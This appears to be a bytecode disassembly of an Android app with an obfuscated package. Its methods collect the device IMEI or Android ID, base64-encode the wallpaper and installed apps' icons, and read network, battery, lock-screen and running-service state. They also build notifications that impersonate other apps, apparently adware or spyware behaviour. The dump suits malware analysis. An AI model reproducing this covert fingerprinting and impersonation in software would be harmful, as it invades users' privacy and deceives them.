    00087414iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087418invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008741emove-result-object v0
    00087420check-cast v0, Landroid/content/pm/ApplicationInfo;
    00087424iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087428invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getApplicationIcon(Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
    0008742emove-result-object v0
    00087430instance-of v4, v0, Landroid/graphics/drawable/BitmapDrawable;
    00087434const/4 v5, 0x2
    00087436const/16 v6, 0x32
    0008743aconst/16 v9, 0x90
    0008743eif-eqz v4, :cond_bd
    00087442if-eqz v0, :cond_ba
    00087446check-cast v0, Landroid/graphics/drawable/BitmapDrawable;
    0008744ainvoke-virtual {v0}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    00087450move-result-object v0
    00087452invoke-static {v0, v9, v9, v11}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    00087458move-result-object v0
    0008745anew-instance v4, Ljava/io/ByteArrayOutputStream;
    0008745einvoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    00087464sget-object v9, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    00087468invoke-virtual {v0, v9, v6, v4}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    0008746einvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00087474move-result-object v0
    00087476invoke-static {v0, v5}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    0008747cmove-result-object v0
    0008747egoto :goto_bb
    00087480move-object v0, v1
    00087482move-object v1, v0
    00087484goto :goto_f6
    00087486invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getIntrinsicWidth()I
    0008748cmove-result v4
    0008748einvoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->getIntrinsicHeight()I
    00087494move-result v10
    00087496sget-object v12, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config;
    0008749ainvoke-static {v4, v10, v12}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000874a0move-result-object v4
    000874a2new-instance v10, Landroid/graphics/Canvas;
    000874a6invoke-direct {v10, v4}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000874acinvoke-virtual {v10}, Landroid/graphics/Canvas;->getWidth()I
    000874b2move-result v12
    000874b4invoke-virtual {v10}, Landroid/graphics/Canvas;->getHeight()I
    000874bamove-result v13
    000874bcinvoke-virtual {v0, v8, v8, v12, v13}, Landroid/graphics/drawable/Drawable;->setBounds(IIII)V
    000874c2invoke-virtual {v0, v10}, Landroid/graphics/drawable/Drawable;->draw(Landroid/graphics/Canvas;)V
    000874c8invoke-static {v4, v9, v9, v11}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    000874cemove-result-object v0
    000874d0if-eq v4, v0, :cond_e7
    000874d4invoke-virtual {v4}, Landroid/graphics/Bitmap;->recycle()V
    000874danew-instance v4, Ljava/io/ByteArrayOutputStream;
    000874deinvoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000874e4sget-object v9, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
    000874e8invoke-virtual {v0, v9, v6, v4}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    000874eeinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000874f4move-result-object v0
    000874f6goto :goto_b5
    000874f8move-object v0, v3
    000874famove-object v3, v2
    000874fcmove-object v2, v7
    000874fegoto :goto_fd
    00087500add-int/2addr v7, v11
    00087502if-lt v7, v10, :cond_1d
    00087506invoke-virtual {v14}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    0008750cmove-result-object v4
    0008750econst v5, 0x7f0c0020
    00087514invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    0008751amove-result-object v4
    0008751cconst-string v5, "n/a"
    00087520if-ne v2, v5, :cond_10d
    00087524move-object v2, v4
    00087526const-string v4, "n/a"
    0008752aif-ne v3, v4, :cond_113
    0008752econst-string v3, ""
    00087532invoke-static {v1, v8}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
    00087538move-result-object v1
    0008753anew-instance v4, Landroid/graphics/BitmapFactory$Options;
    0008753einvoke-direct {v4}, Landroid/graphics/BitmapFactory$Options;-><init>()V
    00087544array-length v5, v1
    00087546invoke-static {v1, v8, v5, v4}, Landroid/graphics/BitmapFactory;->decodeByteArray([BIILandroid/graphics/BitmapFactory$Options;)Landroid/graphics/Bitmap;
    0008754cmove-result-object v1
    0008754einvoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00087554move-result-object v4
    00087556invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    0008755cmove-result-object v0
    0008755econst v4, 0x10008000
    00087564invoke-virtual {v0, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    0008756ainvoke-static {v14, v8, v0, v8}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
    00087570move-result-object v0
    00087572new-instance v4, Landroid/support/v4/a/d$d;
    00087576invoke-direct {v4, v14}, Landroid/support/v4/a/d$d;-><init>(Landroid/content/Context;)V
    0008757cconst v14, 0x7f040029
    00087582invoke-virtual {v4, v14}, Landroid/support/v4/a/d$d;->a(I)Landroid/support/v4/a/d$d;
    00087588move-result-object v14
    0008758ainvoke-static {v8, v8, v8, v8}, Landroid/graphics/Color;->argb(IIII)I
    00087590move-result v4
    00087592invoke-virtual {v14, v4}, Landroid/support/v4/a/d$d;->b(I)Landroid/support/v4/a/d$d;
    00087598move-result-object v14
    0008759ainvoke-virtual {v14, v1}, Landroid/support/v4/a/d$d;->a(Landroid/graphics/Bitmap;)Landroid/support/v4/a/d$d;
    000875a0move-result-object v14
    000875a2invoke-virtual {v14, v2}, Landroid/support/v4/a/d$d;->a(Ljava/lang/CharSequence;)Landroid/support/v4/a/d$d;
    000875a8move-result-object v14
    000875aainvoke-virtual {v14, v3}, Landroid/support/v4/a/d$d;->b(Ljava/lang/CharSequence;)Landroid/support/v4/a/d$d;
    000875b0move-result-object v14
    000875b2invoke-virtual {v14, v8}, Landroid/support/v4/a/d$d;->a(Z)Landroid/support/v4/a/d$d;
    000875b8move-result-object v14
    000875bainvoke-virtual {v14, v0}, Landroid/support/v4/a/d$d;->a(Landroid/app/PendingIntent;)Landroid/support/v4/a/d$d;
    000875c0move-result-object v14
    000875c2invoke-virtual {v14}, Landroid/support/v4/a/d$d;->a()Landroid/app/Notification;
    000875c8move-result-object v14
    000875careturn-object v14
    000875ccconst/4 v14, 0x0
    000875cereturn-object v14
    000872fc
    000875d0
    000875d0 struct try_item
    000875d0 start_addr uint32 0x87310
    000875d4 insn_count int 96
    000875d6 handler_off uint16 0x87601
    000875d8
    000875d8 struct try_item
    000875d8 start_addr uint32 0x873d4
    000875dc insn_count int 24
    000875de handler_off uint16 0x87606
    000875e0
    000875e0 struct try_item
    000875e0 start_addr uint32 0x87404
    000875e4 insn_count int 2
    000875e6 handler_off uint16 0x87612
    000875e8
    000875e8 struct try_item
    000875e8 start_addr uint32 0x87408
    000875ec insn_count int 8
    000875ee handler_off uint16 0x8761e
    000875f0
    000875f0 struct try_item
    000875f0 start_addr uint32 0x87418
    000875f4 insn_count int 111
    000875f6 handler_off uint16 0x8762a
    000875f8
    000875f8 struct try_item
    000875f8 start_addr uint32 0x87506
    000875fc insn_count int 98
    000875fe handler_off uint16 0x87601
    00087600
    00087600 struct encoded_catch_handler_list
    00087600 size int 5
    00087601
    00087601 struct encoded_catch_handler ← 0x875d6 0x875fe
    00087601 size int64 1
    00087602 handlers[0].type_idx int 0x5994
    00087604 handlers[0].addr uint32 0x875cc
    00087606
    00087606 struct encoded_catch_handler ← 0x875de
    00087606 size int64 3
    00087607 handlers[0].type_idx int 0x4c90
    00087608 handlers[0].addr uint32 0x87506
    0008760a handlers[1].type_idx int 0x59cc
    0008760c handlers[1].addr uint32 0x87506
    0008760e handlers[2].type_idx int 0x5994
    00087610 handlers[2].addr uint32 0x875cc
    00087612
    00087612 struct encoded_catch_handler ← 0x875e6
    00087612 size int64 3
    00087613 handlers[0].type_idx int 0x4c90
    00087614 handlers[0].addr uint32 0x874fc
    00087616 handlers[1].type_idx int 0x59cc
    00087618 handlers[1].addr uint32 0x874fc
    0008761a handlers[2].type_idx int 0x5994
    0008761c handlers[2].addr uint32 0x875cc
    0008761e
    0008761e struct encoded_catch_handler ← 0x875ee
    0008761e size int64 3
    0008761f handlers[0].type_idx int 0x4c90
    00087620 handlers[0].addr uint32 0x874fa
    00087622 handlers[1].type_idx int 0x59cc
    00087624 handlers[1].addr uint32 0x874fa
    00087626 handlers[2].type_idx int 0x5994
    00087628 handlers[2].addr uint32 0x875cc
    0008762a
    0008762a struct encoded_catch_handler ← 0x875f6
    0008762a size int64 3
    0008762b handlers[0].type_idx int 0x4c90
    0008762c handlers[0].addr uint32 0x874f8
    0008762e handlers[1].type_idx int 0x59cc
    00087630 handlers[1].addr uint32 0x874f8
    00087632 handlers[2].type_idx int 0x5994
    00087634 handlers[2].addr uint32 0x875cc
    00087636
    00087636 // align 0x8
    00087638
    00087638cmf0.c3b5bm90zq.patch.a::a(android.graphics.Bitmap, int, int):
    00087648invoke-virtual {v7}, Landroid/graphics/Bitmap;->getWidth()I
    0008764emove-result v0
    00087650invoke-virtual {v7}, Landroid/graphics/Bitmap;->getHeight()I
    00087656move-result v1
    00087658int-to-float v2, v9
    0008765aint-to-float v0, v0
    0008765cdiv-float v3, v2, v0
    00087660int-to-float v4, v8
    00087662int-to-float v1, v1
    00087664div-float v5, v4, v1
    00087668invoke-static {v3, v5}, Ljava/lang/Math;->max(FF)F
    0008766emove-result v3
    00087670mul-float v0, v0, v3
    00087674mul-float v3, v3, v1
    00087678sub-float/2addr v2, v0
    0008767aconst/high16 v1, 0x40000000
    0008767ediv-float/2addr v2, v1
    00087680sub-float/2addr v4, v3
    00087682div-float/2addr v4, v1
    00087684new-instance v1, Landroid/graphics/RectF;
    00087688add-float/2addr v0, v2
    0008768aadd-float/2addr v3, v4
    0008768cinvoke-direct {v1, v2, v4, v0, v3}, Landroid/graphics/RectF;-><init>(FFFF)V
    00087692invoke-virtual {v7}, Landroid/graphics/Bitmap;->getConfig()Landroid/graphics/Bitmap$Config;
    00087698move-result-object v0
    0008769ainvoke-static {v9, v8, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
    000876a0move-result-object v8
    000876a2new-instance v9, Landroid/graphics/Canvas;
    000876a6invoke-direct {v9, v8}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
    000876acconst/4 v0, 0x0
    000876aeinvoke-virtual {v9, v7, v0, v1, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/RectF;Landroid/graphics/Paint;)V
    000876b4return-object v8
    00087638
    000876b6
    000876b6 // align 0x8
    000876b8
    000876b8cmf0.c3b5bm90zq.patch.a::a(android.content.Context):
    000876c8const-string v0, "connectivity"
    000876ccinvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000876d2move-result-object v0
    000876d4check-cast v0, Landroid/net/ConnectivityManager;
    000876d8invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
    000876demove-result-object v1
    000876e0invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
    000876e6move-result-object v0
    000876e8invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
    000876eemove-result v1
    000876f0const/4 v2, 0x1
    000876f2if-ne v1, v2, :cond_46
    000876f6const-string v0, "wifi"
    000876fainvoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087700move-result-object v4
    00087702check-cast v4, Landroid/net/wifi/WifiManager;
    00087706invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
    0008770cmove-result-object v4
    0008770einvoke-virtual {v4}, Landroid/net/wifi/WifiInfo;->getRssi()I
    00087714move-result v4
    00087716const/4 v0, 0x5
    00087718invoke-static {v4, v0}, Landroid/net/wifi/WifiManager;->calculateSignalLevel(II)I
    0008771emove-result v4
    00087720invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    00087726move-result-object v4
    00087728new-instance v0, Ljava/lang/StringBuilder;
    0008772cinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00087732const-string v1, "w"
    00087736invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008773cinvoke-virtual {v4}, Ljava/lang/String;->trim()Ljava/lang/String;
    00087742move-result-object v4
    00087744invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008774ainvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087750move-result-object v4
    00087752goto :goto_69
    00087754invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
    0008775amove-result v0
    0008775cif-nez v0, :cond_5b
    00087760const-string v0, "phone"
    00087764invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008776amove-result-object v4
    0008776ccheck-cast v4, Landroid/telephony/TelephonyManager;
    00087770invoke-virtual {v4}, Landroid/telephony/TelephonyManager;->getNetworkType()I
    00087776move-result v4
    00087778packed-switch v4, :pswitch_data_6a
    0008777econst-string v4, "w0"
    00087782goto :goto_69
    00087784const-string v4, "MD4G"
    00087788goto :goto_69
    0008778aconst-string v4, "MD3G"
    0008778egoto :goto_69
    00087790const-string v4, "MD2G"
    00087794goto :goto_69
    00087796const-string v4, "w0"
    0008779areturn-object v4
    0008779c.packed-switch 0x1
    000876b8
    000877e0
    000877e0 struct try_item
    000877e0 start_addr uint32 0x876c8
    000877e4 insn_count int 102
    000877e6 handler_off uint16 0x877e9
    000877e8
    000877e8 struct encoded_catch_handler_list
    000877e8 size int 1
    000877e9
    000877e9 struct encoded_catch_handler ← 0x877e6
    000877e9 size int64 1
    000877ea handlers[0].type_idx int 0x5994
    000877ec handlers[0].addr uint32 0x87796
    000877ed
    000877ed // align 0x10
    000877f0
    000877f0cmf0.c3b5bm90zq.patch.a::a(android.content.Context, int, int):
    00087800invoke-static {v2}, Landroid/app/WallpaperManager;->getInstance(Landroid/content/Context;)Landroid/app/WallpaperManager;
    00087806move-result-object v2
    00087808invoke-virtual {v2}, Landroid/app/WallpaperManager;->getDrawable()Landroid/graphics/drawable/Drawable;
    0008780emove-result-object v2
    00087810if-eqz v2, :cond_2a
    00087814check-cast v2, Landroid/graphics/drawable/BitmapDrawable;
    00087818invoke-virtual {v2}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    0008781emove-result-object v2
    00087820invoke-virtual {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/graphics/Bitmap;II)Landroid/graphics/Bitmap;
    00087826move-result-object v2
    00087828new-instance v3, Ljava/io/ByteArrayOutputStream;
    0008782cinvoke-direct {v3}, Ljava/io/ByteArrayOutputStream;-><init>()V
    00087832sget-object v4, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
    00087836const/16 v0, 0x64
    0008783ainvoke-virtual {v2, v4, v0, v3}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
    00087840invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    00087846move-result-object v2
    00087848const/4 v3, 0x2
    0008784ainvoke-static {v2, v3}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
    00087850move-result-object v2
    00087852goto :goto_2f
    00087854const-string v2, "-1"
    00087858goto :goto_2f
    0008785aconst-string v2, "-1"
    0008785ereturn-object v2
    000877f0
    00087860
    00087860 struct try_item
    00087860 start_addr uint32 0x87800
    00087864 insn_count int 44
    00087866 handler_off uint16 0x87869
    00087868
    00087868 struct encoded_catch_handler_list
    00087868 size int 1
    00087869
    00087869 struct encoded_catch_handler ← 0x87866
    00087869 size int64 2
    0008786a handlers[0].type_idx int 0x5994
    0008786c handlers[0].addr uint32 0x8785a
    0008786d handlers[1].type_idx int 0x59cc
    0008786f handlers[1].addr uint32 0x8785a
    00087870
    00087870cmf0.c3b5bm90zq.patch.a::a(android.content.Context, java.lang.String):
    00087880invoke-static {v2}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
    00087886move-result-object v2
    00087888const-string v0, ""
    0008788cinvoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    00087892move-result-object v2
    00087894return-object v2
    00087896const/4 v2, 0x0
    00087898return-object v2
    00087870
    0008789a
    0008789a struct code_item_padding
    0008789a padding uint16 0x0000
    0008789c
    0008789c struct try_item
    0008789c start_addr uint32 0x87880
    000878a0 insn_count int 10
    000878a2 handler_off uint16 0x878a5
    000878a4
    000878a4 struct encoded_catch_handler_list
    000878a4 size int 1
    000878a5
    000878a5 struct encoded_catch_handler ← 0x878a2
    000878a5 size int64 1
    000878a6 handlers[0].type_idx int 0x5994
    000878a8 handlers[0].addr uint32 0x87896
    000878a9
    000878a9 // align 0x4
    000878ac
    000878accmf0.c3b5bm90zq.patch.a::a(android.content.Context, java.lang.String, java.lang.String):
    000878bcinvoke-static {v1}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
    000878c2move-result-object v1
    000878c4invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
    000878camove-result-object v1
    000878ccinvoke-interface {v1, v3, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
    000878d2invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
    000878d8return-void
    000878ac
    000878da
    000878da struct code_item_padding
    000878da padding uint16 0x0000
    000878dc
    000878dc struct try_item
    000878dc start_addr uint32 0x878bc
    000878e0 insn_count int 14
    000878e2 handler_off uint16 0x878e5
    000878e4
    000878e4 struct encoded_catch_handler_list
    000878e4 size int 1
    000878e5
    000878e5 struct encoded_catch_handler ← 0x878e2
    000878e5 size int64 1
    000878e6 handlers[0].type_idx int 0x5994
    000878e8 handlers[0].addr uint32 0x878d8
    000878e9
    000878e9 // align 0x4
    000878ec
    000878eccmf0.c3b5bm90zq.patch.a::a(java.lang.Class, android.content.Context):
    000878fcconst-string v0, "activity"
    00087900invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087906move-result-object v4
    00087908check-cast v4, Landroid/app/ActivityManager;
    0008790cconst v0, 0x7fffffff
    00087912invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00087918move-result-object v4
    0008791ainvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00087920move-result-object v4
    00087922invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00087928move-result v0
    0008792aif-eqz v0, :cond_31
    0008792einvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00087934move-result-object v0
    00087936check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    0008793ainvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00087940move-result-object v1
    00087942iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00087946invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    0008794cmove-result-object v0
    0008794einvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00087954move-result v0
    00087956if-eqz v0, :cond_13
    0008795aconst/4 v3, 0x1
    0008795creturn v3
    0008795econst/4 v3, 0x0
    00087960return v3
    000878ec
    00087962
    00087962 // align 0x4
    00087964
    00087964cmf0.c3b5bm90zq.patch.a::b(android.content.Context):
    00087974const-string v0, "keyguard"
    00087978invoke-virtual {v3, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008797emove-result-object v0
    00087980check-cast v0, Landroid/app/KeyguardManager;
    00087984const-string v1, "power"
    00087988invoke-virtual {v3, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008798emove-result-object v3
    00087990check-cast v3, Landroid/os/PowerManager;
    00087994invoke-virtual {v3}, Landroid/os/PowerManager;->isScreenOn()Z
    0008799amove-result v3
    0008799cinvoke-virtual {v0}, Landroid/app/KeyguardManager;->inKeyguardRestrictedInputMode()Z
    000879a2move-result v0
    000879a4const/4 v1, 0x1
    000879a6if-eqz v0, :cond_23
    000879aaif-ne v3, v1, :cond_20
    000879aeconst-string v3, "3"
    000879b2goto :goto_2c
    000879b4const-string v3, "4"
    000879b8goto :goto_2c
    000879baif-ne v3, v1, :cond_28
    000879beconst-string v3, "5"
    000879c2goto :goto_2c
    000879c4const-string v3, "6"
    000879c8goto :goto_2c
    000879caconst/4 v3, 0x0
    000879ccreturn-object v3
    00087964
    000879ce
    000879ce struct code_item_padding
    000879ce padding uint16 0x0000
    000879d0
    000879d0 struct try_item
    000879d0 start_addr uint32 0x87974
    000879d4 insn_count int 42
    000879d6 handler_off uint16 0x879d9
    000879d8
    000879d8 struct encoded_catch_handler_list
    000879d8 size int 1
    000879d9
    000879d9 struct encoded_catch_handler ← 0x879d6
    000879d9 size int64 1
    000879da handlers[0].type_idx int 0x5994
    000879dc handlers[0].addr uint32 0x879ca
    000879dd
    000879dd // align 0x10
    000879e0
    000879e0cmf0.c3b5bm90zq.patch.a::c(android.content.Context):
    000879f0const/4 v0, 0x0
    000879f2new-instance v1, Landroid/content/IntentFilter;
    000879f6const-string v2, "android.intent.action.BATTERY_CHANGED"
    000879fainvoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
    00087a00invoke-virtual {v5, v0, v1}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
    00087a06move-result-object v5
    00087a08const-string v0, "level"
    00087a0cconst/4 v1, 0x0
    00087a0einvoke-virtual {v5, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a14move-result v0
    00087a16const-string v2, "scale"
    00087a1aconst/16 v3, 0x64
    00087a1einvoke-virtual {v5, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a24move-result v2
    00087a26mul-int/lit8 v0, v0, 0x64
    00087a2adiv-int/2addr v0, v2
    00087a2cconst-string v2, "plugged"
    00087a30const/4 v3, -0x1
    00087a32invoke-virtual {v5, v2, v3}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
    00087a38move-result v5
    00087a3aconst/4 v2, 0x1
    00087a3cif-eq v5, v2, :cond_2b
    00087a40const/4 v3, 0x2
    00087a42if-ne v5, v3, :cond_2c
    00087a46const/4 v1, 0x1
    00087a48new-instance v5, Ljava/lang/StringBuilder;
    00087a4cinvoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00087a52invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
    00087a58move-result-object v0
    00087a5ainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087a60const-string v0, "&"
    00087a64invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087a6ainvoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
    00087a70invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087a76move-result-object v5
    00087a78return-object v5
    00087a7aconst-string v5, "0&false"
    00087a7ereturn-object v5
    000879e0
    00087a80
    00087a80 struct try_item
    00087a80 start_addr uint32 0x879f2
    00087a84 insn_count int 67
    00087a86 handler_off uint16 0x87a89
    00087a88
    00087a88 struct encoded_catch_handler_list
    00087a88 size int 1
    00087a89
    00087a89 struct encoded_catch_handler ← 0x87a86
    00087a89 size int64 1
    00087a8a handlers[0].type_idx int 0x5994
    00087a8c handlers[0].addr uint32 0x87a7a
    00087a8d
    00087a8d // align 0x10
    00087a90
    00087a90cmf0.c3b5bm90zq.patch.a::d(android.content.Context):
    00087aa0const-string v0, "phone"
    00087aa4invoke-virtual {v3, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087aaamove-result-object v0
    00087aaccheck-cast v0, Landroid/telephony/TelephonyManager;
    00087ab0invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
    00087ab6move-result-object v1
    00087ab8if-eqz v1, :cond_13
    00087abcinvoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
    00087ac2move-result-object v3
    00087ac4goto :goto_23
    00087ac6invoke-virtual {v3}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
    00087accmove-result-object v3
    00087aceinvoke-virtual {v3}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00087ad4move-result-object v3
    00087ad6const-string v0, "android_id"
    00087adainvoke-static {v3, v0}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
    00087ae0move-result-object v3
    00087ae2goto :goto_23
    00087ae4const/4 v3, 0x0
    00087ae6return-object v3
    00087a90
    00087ae8
    00087ae8 struct try_item
    00087ae8 start_addr uint32 0x87aa0
    00087aec insn_count int 33
    00087aee handler_off uint16 0x87af1
    00087af0
    00087af0 struct encoded_catch_handler_list
    00087af0 size int 1
    00087af1
    00087af1 struct encoded_catch_handler ← 0x87aee
    00087af1 size int64 1
    00087af2 handlers[0].type_idx int 0x5994
    00087af4 handlers[0].addr uint32 0x87ae4
    00087af5
    00087af5 // align 0x8
    00087af8
    00087af8cmf0.c3b5bm90zq.patch.a::e(android.content.Context):
    00087b08const/4 v0, 0x0
    00087b0aconst-string v1, "connectivity"
    00087b0einvoke-virtual {v5, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087b14move-result-object v5
    00087b16check-cast v5, Landroid/net/ConnectivityManager;
    00087b1ainvoke-virtual {v5, v0}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
    00087b20move-result-object v1
    00087b22invoke-virtual {v1}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
    00087b28move-result-object v1
    00087b2asget-object v2, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
    00087b2econst/4 v3, 0x1
    00087b30if-eq v1, v2, :cond_22
    00087b34invoke-virtual {v5, v3}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
    00087b3amove-result-object v5
    00087b3cinvoke-virtual {v5}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
    00087b42move-result-object v5
    00087b44sget-object v1, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
    00087b48if-ne v5, v1, :cond_23
    00087b4cconst/4 v0, 0x1
    00087b4eif-nez v0, :cond_29
    00087b52invoke-static {}, Lcmf0/c3b5bm90zq/patch/a;->a()Z
    00087b58move-result v0
    00087b5areturn v0
    00087af8
    00087b5c
    00087b5c struct try_item
    00087b5c start_addr uint32 0x87b0a
    00087b60 insn_count int 31
    00087b62 handler_off uint16 0x87b65
    00087b64
    00087b64 struct encoded_catch_handler_list
    00087b64 size int 1
    00087b65
    00087b65 struct encoded_catch_handler ← 0x87b62
    00087b65 size int64 1
    00087b66 handlers[0].type_idx int 0x5994
    00087b68 handlers[0].addr uint32 0x87b4e
    00087b69
    00087b69 // align 0x4
    00087b6c
    00087b6ccmf0.c3b5bm90zq.patch.b::<clinit>():
    00087b7creturn-void
    00087b6c
    00087b7e
    00087b7e // align 0x10
    00087b80
    00087b80cmf0.c3b5bm90zq.patch.b::<init>():
    00087b90invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00087b96return-void
    00087b80
    00087b98
    00087b98cmf0.c3b5bm90zq.patch.b::a(java.lang.String, java.lang.String):
    00087ba8new-instance v0, Ljava/lang/StringBuffer;
